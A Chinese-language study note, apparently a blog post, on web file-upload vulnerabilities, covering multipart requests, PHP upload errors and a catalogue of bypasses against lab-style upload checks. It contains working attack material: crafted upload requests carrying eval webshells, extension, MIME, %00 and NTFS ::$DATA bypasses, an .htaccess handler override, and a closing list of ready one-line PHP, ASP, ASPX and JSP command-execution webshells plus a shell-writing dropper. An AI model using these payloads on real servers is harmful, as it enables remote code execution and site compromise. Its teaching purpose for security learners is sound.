WEB安全之:文件上传

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

WEB安全之:文件上传

1 文件上传过程

1.1 浏览器打开上传页面

  • # 客户端上传表单
    upload.html
    <html>
    <head></head>
    <body>
    <form action="upload.php" method="post" enctype="multipart/form-data">
        <input type="hidden" name="MAX_FILE_SIZE" value="100000">
        <label for="file">Filename:</label>
        <input type="file" name="file" id="file"/>
        <br/>
        <input type="submit" name="submit" value="Submit"/>
    </form>
    </body>
    </html>
    
    <!-- enctype:属性规定在发送到服务器之前应该如何对表单数据进行编码。 -->
    <!-- multipart/form-data:在 Web 表单文件上传时使用。 -->
    

1.2 用户提交上传请求

  • 对于 multipart/form-fata 类型的表单,浏览器上传的实体内容中的每个表单字段元素的数据之间,用字段分割线进行分割,每两个分割界线间的内容成为一个分区,每个分区的内容可以被看做两部分,一部分是对表单元字段元素进行描述的描述头,另一部分是表单元字段元素的主体内容。

  • #  抓包分析
    POST /upload.php HTTP/1.1	# 响应头部
    Host: 192.168.100.129
    User-Agent: Mozilla/5.0 (iPad; CPU OS 10_15_5 (Erg.nzendes Update) like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Mobile/15E148 Safari/605.1.15
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------9317842496954838981816999048
    Content-Length: 6221
    Origin: http://192.168.100.129
    Connection: keep-alive
    Referer: http://192.168.100.129/upload.html
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    	#空行\r\n
    -----------------------------9317842496954838981816999048
    Content-Disposition: form-data; name="MAX_FILE_SIZE"	# 描述头
    
    100000	# 主体内容
    -----------------------------9317842496954838981816999048
    Content-Disposition: form-data; name="file"; filename="logo.svg"	# 描述头
    Content-Type: image/svg+xml	# 描述头
    	# 空行\r\n
    <svg xmlns="http://www.w3.org/2000/svg" width="589.827" height="361.238" viewBox="0 0 442.37 270.929">...</svg>		# 主体内容
    -----------------------------9317842496954838981816999048
    Content-Disposition: form-data; name="submit"	# 描述头
    	# 空行\r\n
    Submit	# 主体内容
    -----------------------------9317842496954838981816999048--
    

1.3 WEB 程序处理

WEB 程序处理用户提交的数据并将读取到的文件保存为临时文件

  • # 服务器处理请求脚本
    <?php
        if ($_FILES["file"]["error"] > 0)
          {
          echo "Error: " . $_FILES["file"]["error"] . "<br />";
          }
        else
          {
          echo "Upload: " . $_FILES["file"]["name"] . "<br />";
          echo "Type: " . $_FILES["file"]["type"] . "<br />";
          echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
          echo "File Path: " . $_FILES["file"]["tmp_name"];
          }
    ?>
    

1.4 按规则存放文件

根据WEB 程序管理员配置,将文件移动到指定路径

Upload: logo.svg
Type: image/svg+xml
Size: 5.6240234375 Kb
File Path: C:\ZkeysSoft\Php\tmp\phpE.tmp

2 PHP 文件上传 error 的错误类型

$FILES[ 'file' ][ 'error' ]一共有7种类型:

  1. 值为 0:UPLOAD_ERR_OK,没有错误发生,文件上传成功。
  2. 值为 1:UPLOAD_ERR_INI_SIZE,上传的文件超过了 php.ini 中 upload_max_filesize选项限制的值。
  3. 值为 2:UPLOAD_ERR_FORM_SIZE,上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
  4. 值为 3:UPLOAD_ERR_PARTIAL,文件只有部分被上传。
  5. 值为 4:UPLOAD_ERR_NO_FILE,没有文件被上传。
  6. 值为 5:UPLOAD_ERR_NO_TMP_DIR,找不到临时文件夹。PHP 4.3.10 和 PHP 5.0.3 引进。
  7. 值为 6:UPLOAD_ERR_CANT_WRITE,文件写入失败。PHP 5.1.0 引进。

3 文件上传漏洞

3.1 原理

在处理上传文件时,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。

3.2 可能造成上传漏洞的原因

3.2.1 程序代码或系统缺陷

  1. 没有任何限制和过滤

    • 可直接上传 webshell 文件
  2. javascript 脚本限制

    • 只会检测上传文件的后缀名

    • 绕过方式:

      1. 禁用浏览器 JS 功能

      2. 修改 HTML 文档

      3. 去除 JS 脚本:<form id=form1 method="post" enctype="multipart/form-data" action="http://host/upload.php">

      4. 先把所要上传的文件修改成允许上传的文件类型,通过 Burp Suite 抓包修改后缀名进行绕过。

        1. 上传允许的文件类型,通过 Burp Suite 抓包修改后缀名与文件数据进行绕过。

          Content-Disposition: form-data; name="file"; filename="test.jpg"
          # 将 "test.jpg" 修改为 "test.php"
          
        2. 将上传数据修改为:

          <?php echo "webshell upload success!" ?>
          
  3. 黑名单过滤不全

    • 绕过方式:

      1. 穷举后缀名
      2. 大小写转换:PHp、ASp
      3. 名单列表绕过:如 php 换成 phtml,php3,php4,php5,pht;又如将 asp 改成 aspx
      4. 特殊文件名:通过 Burp Suite 抓包把文件名改成 "xx.php." 或者 "xx.php " (结尾有空格)或者 "."、"空格." 的方式 。(注:在windows系统是不允许的,只能在 Burp Suite 里修改。当绕过之后,windows 会自动去掉后面的 "." 和 "_" )
      5. "%00" 截断:截断路径或截断文件名,版本限制(php<5.3.4)
      6. 关键字替换:如双写绕过: "a.aspasp", "a.php. .","a.pphphp"
      常见 WEB 文件类型:
      asp,asa,cdx,cer,php,aspx,ashx,jsp,php3,php.a,shtml,phtml
      
    • 目录或文件名可控情况:

      通过 Burp Suite 抓包把文件名改成 "xx.php." 或者 "xx.php " (结尾有空格)或者 "."、"空格." 的方式 。(注:在windows系统是不允许的,只能在 Burp Suite 里修改。当绕过之后,windows 会自动去掉后面的 "." 和 "_" )

  4. 利用白名单

    • 绕过方式

      1. "%00" 截断:截断路径或截断文件名,版本限制(php<5.3.4)
      2. IIS 6.0 解析漏洞
      
  5. Content-Type 检测

    • 绕过方式:

      通过 Burp Suite 抓包把 "Content-Type" 的值改成合规的类型,如:image/gif
      
  6. 文件名可控,后缀名不可控

    • IIS 6.0 解析漏洞

      1. 目录解析漏洞:服务器默认会把存在于 "*.asp" 或 "*.cer" 这样的目录下的文件都解析成 asp 文件,只要上传文件到这个文件夹里,访问就会执行脚本
      
      创建一句话 asp 文件:a.asp
      	<%eval request("cmd")%>
      	通过 Burp Suite 修改上传 a.asp 文件请求数据,把filename="a.asp" 的改成 filename="a.asp/evil.jpg"
      	并将 name="filepath" 下的主体内容 "upload" 修改为 "webshell.asp并将 name="filepath" 下的主体内容 "upload" 修改为 "webshell.asp
      
      2. 文件解析漏洞:服务器默认不解析 ";" 以后的内容,因此构造的 "a.php;.jpg" 就会被解析成 php 文件
          通过 Burp Suite 抓包把文件名 "a.php" 的改成 "a.php;.jpg"
      
    • IIS 7 绕过方式

      IIS 7/7.5 在 Fast-CGI 运行模式下,在一个文件路径 "/xx.jpg "后面加上 "/xx.php" 会将 "/xx.jpg/xx.php" 解析为 php 文件
      
  7. "%00" 截断:

    • 绕过方式

      1. 直接截断文件名:filename="a.php" 修改为 filename="a.php%00.gif" 并右键对 "%00" 进行 url-decode,若程序代码对文件名做了额外限制,可能会导致该方法失效。
      2. 创建目录可控:"%00" 截断创建目录,利用 IIS 6.0 解析漏洞,上传文件到这个目录里面
      	通过 Burp Suite 抓包将 name="filepath" 下的主体内容 "upload" 修改为 "upload/webshell.asp%00" 并右键对 "%00" 进行 url-decode。配合IIS 6.0 解析漏洞进行文件上传
      
      3. 截断参数:上传合规图片一句话,通过 Burp Suite 抓包把文件名 "参数字段" 下的主体内容 "值" 修改为 "webshell.php%00" 并右键对 "%00" 进行 url-decode
      
  8. 文件头检测

    • 代码中检测了文件头的2到3字节内容,也就是说我们只需要将文件的头两个字节修改为图片的格式就可以绕过

      1. 修改文件头,修改的是十六进制下的文件头值
      2. 图片一句话:copy 1.jpg/b+a.php webshell.php
      3. 文件头类型
          - JPEG (jpg)文件头:FFD8FFE0
          - PNG (png)文件头:89504E47 
          - GIF (gif)文件头:47494638 
          - TIFF (tif)文件头:49492A00 
          - Windows Bitmap (bmp)文件头:424D
      # 文件幻数:是用来唯一标识文件类型的一系列数字,通过检测内容开始处的文件幻数来确定文件类型,可以在文件内容起始位置插入HEX编码文件头 insert byte
      
    • 利用方式需要目标主机同时存在文件包含漏洞,也就是说如果你要攻击的网站没有文件包含漏洞,图片马就是用不了的。

      <?php
      $file = $_GET['file'];
      include $file;
      ?>
      
      http://127.0.0.1/include.php?file=./upload/4920210813225250.jpg
      
  9. 条件竞争

    • 条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。文件上传流程一般为:服务器获取文件、保存上传临时文件、重命名移动临时文件。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。

    • 如以下代码中,存在unlink()函数,此函数作用是删除文件,这里先将文件保存在服务器中,再判断后缀名,若后缀名不合法则删除文件。利用条件竞争删除文件时间差绕过,在触发 unlink() 函数之前访问上传文件。

      $is_upload = false;
      $msg = null;
      
      if(isset($_POST['submit'])){
          $ext_arr = array('jpg','png','gif');
          $file_name = $_FILES['upload_file']['name'];
          $temp_file = $_FILES['upload_file']['tmp_name'];
          $file_ext = substr($file_name,strrpos($file_name,".")+1);
          $upload_file = UPLOAD_PATH . '/' . $file_name;
      
          if(move_uploaded_file($temp_file, $upload_file)){
              if(in_array($file_ext,$ext_arr)){
                   $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
                   rename($upload_file, $img_path);
                   $is_upload = true;
              }else{
                  $msg = "只允许上传.jpg|.png|.gif类型文件!";
                  unlink($upload_file);
              }
          }else{
              $msg = '上传出错!';
          }
      }
      利用方式:首先上传恶意的 php 文件,其次通过 BurpSuite 抓包并放入 Intruder 中,再其次清除所有 positions,将 payloads 设置为 Null payloads, payload 选项设置为生成 9999 payloads(越我越好)。
      
    • 如先将文件上传,再对文件重新命名,同样存在条件竞争的漏洞。

      move 函数调用在 rename 函数之前,利用burp不间断地发送上传图片马的数据包,由于条件竞争,程序会出现来不及 rename 的问题,从而上传成功。
      
      在 Apache 配置目录的 mime.types 配置文件记录着可被 Apache 服务器所识别的文件属性,默认 Apache 服务器不识别7z后缀,却在上传文件名后缀的白名单中,可以利用Apache的解析漏洞将上传的7z后缀文件当做php文件解析。:
      #application/x-7z-compressed 7z
      
      // Apache的解析漏洞
      Apache服务器在解析多后缀文件名的文件时,会从后往前辨别后缀,一直辨别到可以解析的后缀。
          
      //index.php
      $is_upload = false;
      $msg = null;
      if (isset($_POST['submit']))
      {
          require_once("./myupload.php");
          $imgFileName =time();
          $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
          $status_code = $u->upload(UPLOAD_PATH);
          switch ($status_code) {
              case 1:
                  $is_upload = true;
                  $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
                  break;
              case 2:
                  $msg = '文件已经被上传,但没有重命名。';
                  break; 
              case -1:
                  $msg = '这个文件不能上传到服务器的临时文件存储目录。';
                  break; 
              case -2:
                  $msg = '上传失败,上传目录不可写。';
                  break; 
              case -3:
                  $msg = '上传失败,无法上传该类型文件。';
                  break; 
              case -4:
                  $msg = '上传失败,上传的文件过大。';
                  break; 
              case -5:
                  $msg = '上传失败,服务器已经存在相同名称文件。';
                  break; 
              case -6:
                  $msg = '文件无法上传,文件不能复制到目标目录。';
                  break;      
              default:
                  $msg = '未知错误!';
                  break;
          }
      }
      
      //myupload.php
      class MyUpload{
      ......
      ......
      ...... 
        var $cls_arr_ext_accepted = array(
            ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
            ".html", ".xml", ".tiff", ".jpeg", ".png" );
      
      ......
      ......
      ......  
        /** upload()
         **
         ** Method to upload the file.
         ** This is the only method to call outside the class.
         ** @para String name of directory we upload to
         ** @returns void
        **/
        function upload( $dir ){
          
          $ret = $this->isUploadedFile();
          
          if( $ret != 1 ){
            return $this->resultUpload( $ret );
          }
      
          $ret = $this->setDir( $dir );
          if( $ret != 1 ){
            return $this->resultUpload( $ret );
          }
      
          $ret = $this->checkExtension();
          if( $ret != 1 ){
            return $this->resultUpload( $ret );
          }
      
          $ret = $this->checkSize();
          if( $ret != 1 ){
            return $this->resultUpload( $ret );    
          }
          
          // if flag to check if the file exists is set to 1
          
          if( $this->cls_file_exists == 1 ){
            
            $ret = $this->checkFileExists();
            if( $ret != 1 ){
              return $this->resultUpload( $ret );    
            }
          }
      
          // if we are here, we are ready to move the file to destination
      
          $ret = $this->move();
          if( $ret != 1 ){
            return $this->resultUpload( $ret );    
          }
      
          // check if we need to rename the file
      
          if( $this->cls_rename_file == 1 ){
            $ret = $this->renameFile();
            if( $ret != 1 ){
              return $this->resultUpload( $ret );    
            }
          }
          
          // if we are here, everything worked as planned :)
      
          return $this->resultUpload( "SUCCESS" );
        
        }
      ......
      ......
      ...... 
      };
      
      http://127.0.0.1/upload/getshell.php.7z
      
  10. 连续上传两个文件名,

    $is_upload = false;
    $msg = null;
    if(!empty($_FILES['upload_file'])){
        //检查MIME
        $allow_type = array('image/jpeg','image/png','image/gif');
        if(!in_array($_FILES['upload_file']['type'],$allow_type)){
            $msg = "禁止上传该类型文件!";
        }else{
            //检查文件名
            $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
            if (!is_array($file)) {
                $file = explode('.', strtolower($file));
            }
    
            $ext = end($file);
            $allow_suffix = array('jpg','png','gif');
            if (!in_array($ext, $allow_suffix)) {
                $msg = "禁止上传该后缀文件!";
            }else{
                $file_name = reset($file) . '.' . $file[count($file) - 1];
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' .$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $msg = "文件上传成功!";
                    $is_upload = true;
                } else {
                    $msg = "文件上传失败!";
                }
            }
        }
    }else{
        $msg = "请选择要上传的文件!";
    }
    
    
    empty() 函数:检查一下变量是否为空;返回值:如果变量是非零非空的值返回False,否则返回True;
    三运运算符:(expr1) ? (expr2) : (expr3);  如果条件expr1 成立,执行expr2,否则执行expr3;
    end() 函数:将内部指针指向数组最后一个元素并输出;
    reset() 函数:将内部指针指向数组第一个元素并输出;
    explode() 函数:使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
    即如果 $file 不是数组的话,就会将 $file  以"."分割,打散成数组;
    
    正常逻辑抓包改包,即使绕过文件类型检测,文件后缀名白名单检测绕不过去;利用上面的代码以 POST 数组绕过。
    构造两个 post 的文件的名称,第一个名称以 ".php" 结尾并使用"/"进行绕过,数组第2个索引类型设置为文件类型白名单上的类型。
    
    POST /Pass-20/index.php?action=show_code HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------7347473881625411804237399585
    Content-Length: 1582
    Origin: http://127.0.0.1
    Connection: close
    Referer: http://127.0.0.1/Pass-20/index.php?action=show_code
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    DNT: 1
    Sec-GPC: 1
    
    -----------------------------7347473881625411804237399585
    Content-Disposition: form-data; name="upload_file"; filename="3.jpg"
    Content-Type: image/jpeg
    
    <?php eval($_POST["cmd"]);phpinfo(); ?>
    -----------------------------7347473881625411804237399585
    Content-Disposition: form-data; name="save_name"
    
    getshell.php/
    -----------------------------7347473881625411804237399585
    Content-Disposition: form-data; name="save_name"
    
    jpg
    -----------------------------7347473881625411804237399585
    Content-Disposition: form-data; name="submit"
    
    上传
    -----------------------------7347473881625411804237399585--
    
    

3.2.2 程序逻辑缺陷

  1. 双文件上传

    • 将原本单文件的 HTML 文件修改为可进行多文件上传,先上传合规文件,再选择上传 webshell 文件(如:webshell.php)
      增加 input type="file" 标签数量。
      <input type="file" name="file" id="file2"/>
      
  2. 空格文件(文件名称中包含空格)上传

    • 上传一句话文件(如 a.php),通过 Burp Suite 抓包将 filename="a.php" 修改为 filename="a.php "
      

3.2.3 不当配置

  1. apache 使能重写模块:LoadModule rewrite_module modules/mod_rewrite.so

    • 通过上传 ".htaccesss" 文件,重新写入解析规则,把上传的带有一句话合规文件以 php 方式解析

      .htaccesss内容

      <FilesMatch "jpg">
      SetHandler application/x-httpd-php
      </FilesMatch>
      
      # jpg 的文件类型可以自定义,只需确保上传的一句话 shell 的后缀与要重写的文件类型对应,如:jjg。
      
  2. IIS 7.0、IIS 7.5、nginx 使能 fast-cgi (后续补充)

3.2.4 漏洞

  1. nginx<0.83

    php 开启 "fix_pathinfo" 选项,上传 "1.jpg" 这样格式的文件之后,构建一个 url 参数 "1.jpg/.php" ,此时 "1.jpg" 会被作为 php 解析。
    

3.2.5 系统特性

  1. 通过 Burp Suite 抓包将上传文件名前缀修改成 "a.php:" 的时候会在目录下生成 "a.php" 的空白文件,如将a.jpg 修改为 a.php:.jpg

  2. php+window+iis:

    利用 PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:
    双引号"     =   点号.
    大于符号>   =   问号?
    小于符号<   =   星号*
    如:针对php文件类型:"文件名.<" = "文件名.>>>" = "文件名.>><"
    
    通过 Burp Suite 抓包对生成的 a.php 文件写入一句话:
    修改 filename="a.<"  # 注此处的名字要与第一步骤的文件前缀名一致。
    修改文件字段主体内容为以下:
    <?php
    	phpinfo();
    	echo "upload webshel success!";
    	eval($_POST['cmd']);
    ?>
    
  3. window系统里面会自动把文件名的最后一个 "." 或 "_" 会去掉

    • 如上传" test.php........" 最后还是会变成 "test.php"
      用于可用于绕过 WAF。
      

3.2.6 windows 下的 NTFS 的数据流格式 NTFS 交换数据流

  1. ":$DATA" 创建文件

  2. "::$DATA" 创建和写入文件

  3. 利用方式:

    • 创建并写入文件:通过 Burp Suite 抓包将文件字段下的 filename="值" 修改为 filename="datatest.php::$DATA",并将主体内容修改为以下:
      <?php
      	phpinfo();
      	echo "upload webshell success!";
      	eval($_POST['cmd']);
      ?>
      

4 一句话木马

php一句话木马:  <?php @eval($_POST[cmd]);phpinfo(); ?>
asp一句话木马:  <%eval request ("cmd")%> 或  <% execute(request("cmd")) %>   
aspx一句话木马: <%@ Page Language="Jscript" %> <% eval(Request.Item["cmd"]) %>
 
<?php fputs( fopen('getshell.php','w') , '<? php eval($_POST[cmd]) ?>' ) ; ?>
将当前目录下创建xie.php文件,并且将一句话木马写入xd.php中

JSP 一句话木马:
    请求:http://ip/cmd2.jsp?pwd=cmd&i=ls
<%
    if("cmd".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
posted @ 2023-06-29 14:21  f_carey  阅读(211)  评论(0编辑  收藏  举报